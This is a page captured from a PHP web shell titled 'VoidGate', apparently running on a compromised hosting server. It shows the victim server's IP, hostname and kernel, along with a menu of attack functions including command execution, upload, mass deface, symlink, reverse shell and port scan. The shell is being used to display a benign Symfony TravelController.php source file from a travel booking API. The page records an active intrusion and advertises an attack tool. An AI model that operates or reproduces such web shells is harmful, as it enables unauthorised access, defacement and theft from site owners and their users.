ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: TravelController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use FOS\RestBundle\Request\ParamFetcher; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\JsonResponse; use FOS\RestBundle\Controller\Annotations as Rest; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use Nelmio\ApiDocBundle\Annotation as Doc; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security; use AppBundle\Entity\Travel; use AppBundle\Form\TravelType; class TravelController extends FOSRestController { /** * Create a travel * The body of the request must be * <p> * { <br > * "travelConfigId": X, <br> * "numberOfSits": Z, <br > * "travelDay": "YYYY-mm-dd" <br > * } * </p> * @Rest\Post("/travels") * @Rest\View( * statusCode = JsonResponse::HTTP_CREATED, * SerializerGroups = {"LIST", "TRAVEL_DETAILS"} * ) * @Doc\ApiDoc( * section="Travels", * resource=true, * description="Create a new travel.", * input = { * "class"="AppBundle\Form\TravelType", * }, * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function createAction(Request $request) { $travel = new Travel(); $em = $this ->getDoctrine() ->getManager(); if ($request->request->has("travelConfigId")) { $travelConfigID =$request->request->get('travelConfigId'); $travelConfig = $em ->getRepository('AppBundle:TravelConfig') ->find($travelConfigID); if ($travelConfig == null) { return new JsonResponse(['Error' => 'no travelConfig with id: '.$travelConfigID], JsonResponse::HTTP_BAD_REQUEST); } } else { return new JsonResponse(['Error' => 'missing \"travelConfigId\"'], JsonResponse::HTTP_BAD_REQUEST); } $travel->setTravelConfig($travelConfig); $form = $this->createForm(TravelType::class, $travel); $form->submit($request->request->all(), false); $listErrors = $this->get('validator')->validate($travel); if (count($listErrors)) { return $this->view($listErrors, JsonResponse::HTTP_BAD_REQUEST); } if ($request->request->has("travelDay")) { $travel->setTravelDay( new \DateTime($request->request->get("travelDay")) ); } $em->persist($travel); $em->flush(); return $travel; } /** * Modify a travel configuration * The body of the request must be * <p> * { <br > * "travelConfigId": X, <br> * "numberOfSits": Z, <br > * "travelDay": "YYYY-mm-dd" <br > * "driverId": Y <br > * "hostessId": Z <br > * } * </p> * * @Rest\Put("/travels/{travelId}") * @Rest\View( * statusCode = JsonResponse::HTTP_ACCEPTED, * SerializerGroups = {"LIST", "TRAVEL_DETAILS"} * ) * @Doc\ApiDoc( * section="Travels", * resource=true, * description="Update a travel.", * input = { * "class"="AppBundle\Form\TravelType", * }, * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function updateAction(Request $request, Travel $travel) { $form = $this->createForm(TravelType::class, $travel); $form->submit($request->request->all(), false); $listErrors = $this->get('validator')->validate($travel); if (count($listErrors)) { return $this->view($listErrors, JsonResponse::HTTP_BAD_REQUEST); } $em = $this ->getDoctrine() ->getManager(); if ($request->request->has("travelDay")) { $travel->setTravelDay( new \DateTime($request->request->get("travelDay")) ); } if ($request->request->has("driverId")) { $driver = $em ->getRepository('AppBundle:Staff') ->find($request->request->get("driverId")); $travel->setDriver($driver); } if ($request->request->has("hostessId")) { $hostess = $em ->getRepository('AppBundle:Staff') ->find($request->request->get("hostessId")); $travel->setHostess($hostess); } $em->flush(); return $travel; } /** * Sign a travel road map * * @Rest\Post("/travels/{travelId}/sign-road-map") * @Rest\View( * statusCode = JsonResponse::HTTP_OK, * SerializerGroups = {"LIST", "TRAVEL_DETAILS"} * ) * @Doc\ApiDoc( * section="Travels", * resource=true, * description="Sign a travel by an agency admin.", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) * @Security("has_role('ROLE_AGENCY_ADMIN')") */ public function signRoadMapAction(Travel $travel) { $agencyManager = $this->get('security.token_storage')->getToken()->getUser(); $travelManager = $this->get('travel_manager'); //TODO $resultData = $travelManager->signRoadMap($travel, $agencyManager); return $resultData; } /** * Sign a travel road map * * @Rest\Get("/travels/{travelId}/get-road-map") * @Rest\View( * statusCode = JsonResponse::HTTP_OK, * SerializerGroups = {"LIST", "TRAVEL_DETAILS"} * ) * @Doc\ApiDoc( * section="Travels", * resource=true, * description="Get the road map of a travel.", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) * @Security("has_role('ROLE_AGENCY_ADMIN')") */ public function getRoadMapAction(Travel $travel) { //TODO return "//TODO"; } /** * Get one travel * @param integer $travelId The id of the travel * @Rest\Get("/travels/{travelId}") * @Rest\QueryParam( * name = "infos-type", * requirements= "(general|free-sits)", * nullable = true, * default = "general", * strict = true, * description = "Set the type of informations to retrieve, default value is 'general'." * ) * @Rest\View( * statusCode = JsonResponse::HTTP_OK, * SerializerGroups = {"LIST", "TRAVEL_DETAILS", "STANDING_DETAILS"} * ) * @Doc\ApiDoc( * section = "Travels", * resource = true, * description = "Get one travel.", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function showAction(ParamFetcher $paramFetcher, Travel $travel) { $infosType = $paramFetcher->get('infos-type'); $travelManager = $this->get('travel_manager'); // fetching specific information for each value of the parameter 'infos-type' if($infosType == "free-sits"){ $freeSits = $travelManager->getFreeSits($travel); return new JsonResponse([ 'code' => 200, 'freeSits' => $freeSits ]); } // for the default value General informations a returned return $travel; } /** * Get the list of all travels of all agencies( further application of 'per agency' or 'per company' filter) * * @Rest\Get("/travels") * @Rest\View( * statusCode = JsonResponse::HTTP_OK, * SerializerGroups = {"LIST", "TRAVEL_DETAILS", "STANDING_DETAILS"} * ) * @Rest\QueryParam( * name="depart", * nullable=true, * description="the point where the travel starts" * ) * @Rest\QueryParam( * name="dest", * nullable=true, * description="the point where the travel ends" * ) * @Rest\QueryParam( * name="direction", * requirements="(true|false)", * default="true", * description="enable or disable the direction check" * ) * @Rest\QueryParam( * name="standing", * requirements="(classic|vip)", * description="choose standing to display" * ) * @Rest\QueryParam( * name="maxcost", * nullable=true, * requirements="\d+", * description="the maximum price of a sit" * ) * @Rest\QueryParam( * name="company", * nullable=true, * description="the name of the company" * ) * @Rest\QueryParam( * name="agency", * nullable=true, * description="the name of the agency" * ) * @Rest\QueryParam( * name="hour", * nullable=true, * description="the depart hour" * ) * @Rest\QueryParam( * name="free", * requirements="(true|false)", * nullable=true, * description="set to true to get travels with free sits" * ) * @Rest\QueryParam( * name="date", * nullable=true, * description="to get all travels starting after that date", * requirements="^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])$" * ) * @Doc\ApiDoc( * section="Travels", * resource=true, * description="Get the list of all travels of all agencies.", * statusCodes={ * Response::HTTP_OK = "Successful", * Response::HTTP_FORBIDDEN = "Access denied", * Response::HTTP_BAD_REQUEST = "Bad request" * } * ) */ public function listAction(ParamFetcher $paramFetcher) { $depart = $paramFetcher->get('depart'); $destination = $paramFetcher->get('dest'); $direction = $paramFetcher->get('direction'); $maxCost = $paramFetcher->get('maxcost'); $company = $paramFetcher->get('company'); $agency = $paramFetcher->get('agency'); $hour = $paramFetcher->get('hour'); $date = $paramFetcher->get('date'); $standingName = $paramFetcher->get('standing'); $travels = $this ->getDoctrine() ->getManager( ) ->getRepository("AppBundle:Travel") ->search($depart, $destination, $direction, $maxCost, $company, $agency, $hour, $date, $standingName); return $travels; } }
Coded With 💗 by
0x6ick